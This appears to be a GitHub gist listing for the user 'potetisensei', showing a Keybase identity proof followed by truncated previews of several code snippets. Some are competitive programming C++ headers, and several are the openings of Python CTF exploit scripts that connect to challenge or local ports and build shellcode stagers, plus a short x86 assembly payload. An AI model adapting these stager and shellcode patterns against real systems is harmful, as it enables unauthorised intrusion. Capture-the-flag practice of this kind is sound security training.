potetisensei

Keybase proof

I hereby claim:

• I am potetisensei on github.
• I am potetisensei (https://keybase.io/potetisensei) on keybase.
• I have a public key whose fingerprint is F904 B5AC 2463 23DF 0967 9D3A 74CB 3C57 3D7D D7E1

To claim this, I am signing this object:

potetisensei

from socket import *
from time import time, sleep
from struct import pack
from sys import argv

if len(argv) >= 2:
    HOST = "107.189.94.25"
else :
    HOST = "192.168.174.165"
OFFSET = 1

potetisensei

#include <cstdio>
#include <cstring>
#include <cmath>
#include <cassert>
#include <algorithm>
using namespace std;

#define EPS 1e-8
#define INF 1e10

potetisensei

#include <cstdio>
#include <cmath>
#include <utility>
#include <algorithm>
using namespace std;

#define EPS (1e-6)
typedef pair<long double, long double> Coor;
typedef pair<long double, Coor> Pair;

potetisensei

#include <cstdio>
#include <vector>
#include <set>
#include <utility>
#include <algorithm>
using namespace std;
  
int n;
pair<int, long long int> microbe[300000]; // 微生物の値(b, a)のpair

potetisensei

FB_MAGIC = 0x4246
OV_MAGIC = 0x564F
SI_COD = 0x0001
SI_OVR = 0x0002
SI_DAT = 0x0004
STUBUNK_SIZE = (0x20-0x10)

ovr_noexe = 0
ovr_pascal = 1
ovr_cpp = 2

potetisensei

from socket import *
from struct import pack, unpack
from commands import getoutput
from time import sleep

buf_clone = 0x080CB960

p = socket(AF_INET, SOCK_STREAM)
p.connect(("ropi.pwn.seccon.jp", 10000))

potetisensei

from socket import *
from struct import pack

p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 10013))

prefix = "\xf2\xf3"
stager = ""
stager += prefix * 2 + "\x90"
stager += "\x66\xC7\x44\x24\x14\xFF\xFF"

potetisensei

from socket import *
from struct import pack

p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 10015))

prefix = "\xf2\xf3"
stager = ""
stager += "\x66\xC7\x44\x24\x14\xFF\xFF"
stager += prefix + "\xA3\x44\x91\x04\x08"

potetisensei

BITS 32

mov word [esp+0x14], 0xffff
mov [0x08049144], eax
push 0x08048C0A
ret